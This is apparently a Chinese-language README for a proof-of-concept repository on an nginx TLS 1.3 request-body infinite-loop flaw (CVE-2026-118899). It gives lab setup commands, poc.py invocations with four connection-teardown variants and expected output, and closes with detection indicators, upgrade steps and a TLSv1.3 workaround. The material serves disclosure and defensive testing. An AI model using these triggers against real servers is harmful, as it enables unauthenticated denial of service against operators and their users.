nginx 的 TLS 请求体读取路径中存在一个无界循环(CWE-835),当客户端通过 TLS 1.3 声明一个较大的 Content-Length,发送部分请求体,然后以某种方式结束 TLS 会话,使读取循环失去唤醒事件时,会导致 worker 进程以 100% CPU 空转。
| 字段 | 值 |
|---|---|
| CVE | CVE-2026-118899 |
| CVSS 3.1 | 7.5 High — AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
| CVSS 4.0 | 8.7 High |
| CWE | CWE-835(无限循环) |
| 受影响版本 | nginx 1.13.0 – 1.31.8 |
| 修复版本 | nginx 1.30.7 / 1.31.9 |
| 安全公告 | https://my.f5.com/manage/s/article/K000163930 |
| 需要认证 | 无 |
| 披露日期 | 2026-11-18 |
在 http 监听器上启用 ssl on 和 TLS 1.3 时,针对大请求体的读取循环在 TLS 层指示没有更多数据可读之后,缺少适当的唤醒机制。worker 进程会空转等待永远不会到达的数据,消耗 100% CPU。该 worker 上所有后续连接都会被饿死。
触发条件: 在可接受请求体的 HTTP 监听器上启用 ssl on 和 TLS 1.3。
flowchart LR
A([Attacker]) -->|TLS 1.3 POST\nContent-Length: 10MB\nBody: 1KB sent| B[nginx 1.31.8\nTLS HTTP listener]
B -->|Worker enters\nread loop| C[Read Loop\nAwaits body]
A -->|TLS teardown\nclose_notify/RST\nmid-body| C
C -->|No wakeup event\ninfinite loop| D[Worker 100% CPU\nAll connections blocked]
D --> E([Remote DoS\nUnauthenticated])
style A fill:#3d1a1a,stroke:#f85149,color:#f85149
style D fill:#2d1a1a,stroke:#f85149,color:#f85149
style E fill:#1a1f2e,stroke:#f85149,color:#f85149
警告: 仅限实验环境。挂起的工作进程在重启之前将停止处理所有请求。
docker compose up -d --build
python3 poc.py -v stall -n 4
预期输出——存在漏洞的构建:
[+] worker is hung (3 consecutive health timeouts)
[!] VULNERABLE - worker stopped serving
confirm CPU: docker stats --no-stream (nginx at ~100%)
docker stats --no-stream
docker compose exec nginx ps -o pid,pcpu,comm -C nginx
精确的拆除顺序并未公开——此处提供了四种变体:
# Stall: stop sending, socket stays open (default)
python3 poc.py -v stall -n 4
# TLS close_notify mid-body, TCP half-open (most reliable on slow hosts)
python3 poc.py -v close_notify -n 4
# TCP RST mid-body
python3 poc.py -v rst -n 4
# Drip single bytes, then stall
python3 poc.py -v drip -n 4
| 标志 | 描述 |
|---|---|
-v stall|close_notify|rst|drip | 拆除变体(默认:stall) |
-n N | 触发尝试次数(默认:4) |
--host HOST | nginx 主机(默认:127.0.0.1) |
--port PORT | HTTPS 端口(默认:443) |
sed -i 's/nginx:1.31.8/nginx:1.31.9/' nginx/Dockerfile
docker compose build --no-cache nginx && docker compose up -d
python3 poc.py -v stall -n 4
# Worker remains responsive — health checks pass
| 指标 | 说明 |
|---|---|
| nginx worker 占用约 100% CPU 且几乎无流量 | ps aux 或 top:nginx worker 进程被钉死 |
/health 且所有请求超时 | 主进程存活,worker 无响应 |
| 无信号 11(无崩溃) | worker 陷入循环——不会退出——这是其显著特征 |
未认证远程 DoS。每个 nginx worker 仅需一个精心构造的连接即可触发。在 worker_processes N 下,N 个连接即可使整个服务器瘫痪。worker 不会退出——只能通过手动重启恢复。
升级至 nginx 1.30.7 或 1.31.9。若无法立即打补丁,请在接受请求体的 HTTP 监听器上从 ssl_protocols 中移除 TLSv1.3。
| 操作 | 详情 |
|---|---|
| 升级 nginx | 1.30.7(稳定版)或 1.31.9(主线版) |
| 临时规避 | 在接受请求体的 HTTP 监听器上从 ssl_protocols 中移除 TLSv1.3 |
| 监控 worker | 对 CPU > 90% 且请求吞吐量接近零的 nginx worker 发出告警 |
免责声明: 仅限授权安全研究与受控实验环境使用。MIT 许可证。